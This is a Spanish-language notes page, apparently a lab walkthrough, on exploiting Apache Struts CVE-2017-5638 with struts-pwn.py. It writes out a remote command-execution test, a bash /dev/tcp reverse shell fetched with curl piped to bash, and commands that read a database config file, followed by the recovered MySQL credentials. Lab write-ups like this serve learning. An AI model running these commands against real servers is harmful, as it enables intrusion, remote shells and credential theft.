> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/apache-struts-exploitation-.action.md).
# Apache Struts
Notas de explotación de RCE en Apache Struts CVE-2017-5638, ejecución de comandos, intentos de shell inversa y extracción de credenciales.
## Explotación de Apache Struts (CVE-2017-5638)
#### **Monitoreo de enumeración de directorios**
Durante el registro, la aplicación devuelve un error. La `.action` La extensión sugiere una aplicación Apache Struts.
{% embed url="" %}
Use `struts-pwn.py` para probar la ejecución remota de comandos:
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
El comando funciona, confirmando la vulnerabilidad.
#### **Shell inversa**
1. Configura un listener de Netcat:
```bash
nc -nvlp 443
```
2. Crear un `index.html` archivo que contiene la shell inversa:
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. Aloja el archivo con un servidor web de Python:
```
python3 -m http.server 8080
```
4. Ejecuta la shell inversa mediante el exploit:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
Desafortunadamente, este enfoque falla.
### **Extracción de información sensible**
Lista los archivos en el servidor:
El `db_connect` el archivo contiene credenciales:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
Credenciales de MySQL recuperadas:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin
### Extracción de información - mysqlshow
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